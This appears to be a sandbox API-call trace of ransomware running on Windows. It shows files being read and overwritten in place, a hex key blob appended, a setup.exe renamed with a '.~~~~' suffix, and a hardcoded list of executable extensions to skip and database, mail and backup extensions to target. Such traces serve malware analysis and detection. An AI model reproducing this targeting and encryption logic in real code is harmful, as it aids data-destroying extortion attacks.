	[0077.175] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19716539376) returned 1
	[0077.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x97e5b5f0, dwHighDateTime=0x1d60e1e)) 
	[0077.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0077.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0077.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0077.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac660
	[0077.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac660 | out: hHeap=0x300000) returned 1
	[0077.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aac40
	[0077.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aac40 | out: hHeap=0x300000) returned 1
	[0077.176] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.176] GetLastError () returned 0x0
	[0077.176] GetLastError () returned 0x0
	[0077.176] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.176] GetLastError () returned 0x0
	[0077.176] GetLastError () returned 0x0
	[0077.177] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.180] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.180] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.182] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.182] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.184] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.184] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.184] CloseHandle (hObject=0x118) returned 1
	[0077.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.185] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.~~~~")) returned 1
	[0077.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0077.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0077.185] GetLastError () returned 0x0
	[0077.185] RtlWakeConditionVariable () returned 0x365f70
	[0077.186] GetCurrentThreadId () returned 0x9f4
	[0077.186] GetCurrentThreadId () returned 0x9f4
	[0077.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaee0 | out: hHeap=0x300000) returned 1
	[0077.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac698 | out: hHeap=0x300000) returned 1
	[0077.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaee0
	[0077.186] lstrlenW (lpString=".scr") returned 4
	[0077.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0077.186] lstrlenW (lpString=".cmd") returned 4
	[0077.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0077.186] lstrlenW (lpString=".dll") returned 4
	[0077.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0077.186] lstrlenW (lpString=".bat") returned 4
	[0077.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0077.186] lstrlenW (lpString=".cpl") returned 4
	[0077.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0077.186] lstrlenW (lpString=".sys") returned 4
	[0077.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0077.186] lstrlenW (lpString=".msc") returned 4
	[0077.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0077.186] lstrlenW (lpString=".com") returned 4
	[0077.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0077.186] lstrlenW (lpString=".lnk") returned 4
	[0077.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0077.187] lstrlenW (lpString=".msp") returned 4
	[0077.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0077.187] lstrlenW (lpString=".pif") returned 4
	[0077.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0077.187] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0077.187] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.187] lstrlenW (lpString=".sqb") returned 4
	[0077.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0077.187] lstrlenW (lpString=".ost") returned 4
	[0077.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0077.187] lstrlenW (lpString=".txt") returned 4
	[0077.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0077.188] lstrlenW (lpString=".mdt") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0077.188] lstrlenW (lpString=".BDB") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0077.188] lstrlenW (lpString=".eql") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0077.188] lstrlenW (lpString=".DBF") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0077.188] lstrlenW (lpString=".EQL") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0077.188] lstrlenW (lpString=".FDB") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0077.188] lstrlenW (lpString=".EDB") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0077.188] lstrlenW (lpString=".DACPAC") returned 7
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0077.188] lstrlenW (lpString=".VHD") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0077.188] lstrlenW (lpString=".DBV") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0077.188] lstrlenW (lpString=".dacpac") returned 7
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0077.188] lstrlenW (lpString=".sdf") returned 4
	[0077.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0077.188] lstrlenW (lpString=".accdb") returned 6
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0077.189] lstrlenW (lpString=".DBX") returned 4
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0077.189] lstrlenW (lpString=".MDT") returned 4
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0077.189] lstrlenW (lpString=".SQB") returned 4
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0077.189] lstrlenW (lpString=".vhd") returned 4
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0077.189] lstrlenW (lpString=".bac") returned 4
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0077.189] lstrlenW (lpString=".mdf") returned 4
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0077.189] lstrlenW (lpString=".BAK") returned 4
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0077.189] lstrlenW (lpString=".BAC") returned 4
	[0077.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0077.190] lstrlenW (lpString=".dbs") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0077.190] lstrlenW (lpString=".vhdx") returned 5
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0077.190] lstrlenW (lpString=".NDF") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0077.190] lstrlenW (lpString=".dat") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0077.190] lstrlenW (lpString=".DBS") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0077.190] lstrlenW (lpString=".CKP") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0077.190] lstrlenW (lpString=".edb") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0077.190] lstrlenW (lpString=".PST") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0077.190] lstrlenW (lpString=".dbf") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0077.190] lstrlenW (lpString=".SQL") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0077.190] lstrlenW (lpString=".pst") returned 4
	[0077.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0077.190] lstrlenW (lpString=".dbv") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0077.191] lstrlenW (lpString=".SDF") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0077.191] lstrlenW (lpString=".dtxs") returned 5
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0077.191] lstrlenW (lpString=".db3") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0077.191] lstrlenW (lpString=".OST") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0077.191] lstrlenW (lpString=".dbx") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0077.191] lstrlenW (lpString=".DB3") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0077.191] lstrlenW (lpString=".DAT") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0077.191] lstrlenW (lpString=".VHDX") returned 5
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0077.191] lstrlenW (lpString=".ndf") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0077.191] lstrlenW (lpString=".DB") returned 3
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0077.191] lstrlenW (lpString=".sql") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0077.191] lstrlenW (lpString=".MYD") returned 4
	[0077.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0077.192] lstrlenW (lpString=".DBT") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0077.192] lstrlenW (lpString=".ACCDB") returned 6
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0077.192] lstrlenW (lpString=".fdb") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0077.192] lstrlenW (lpString=".bak") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0077.192] lstrlenW (lpString=".myd") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0077.192] lstrlenW (lpString=".DTXS") returned 5
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0077.192] lstrlenW (lpString=".ckp") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0077.192] lstrlenW (lpString=".dbt") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0077.192] lstrlenW (lpString=".db") returned 3
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0077.192] lstrlenW (lpString=".TXT") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0077.192] lstrlenW (lpString=".MDF") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0077.192] lstrlenW (lpString=".bdb") returned 4
	[0077.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0077.192] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.193] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0077.194] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.194] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0077.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.194] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19718431494) returned 1
	[0077.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x97e81750, dwHighDateTime=0x1d60e1e)) 
	[0077.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0077.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0077.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0077.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac698
	[0077.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac698 | out: hHeap=0x300000) returned 1
	[0077.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aae38
	[0077.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aae38 | out: hHeap=0x300000) returned 1
	[0077.195] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.195] GetLastError () returned 0x0
	[0077.195] GetLastError () returned 0x0
	[0077.195] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.195] GetLastError () returned 0x0
	[0077.196] GetLastError () returned 0x0
	[0077.196] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x25dfec0*=0x412b, lpOverlapped=0x0) returned 1
	[0077.292] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffbed5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.292] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x412b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x25dfec0*=0x412b, lpOverlapped=0x0) returned 1
	[0077.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.320] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.320] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
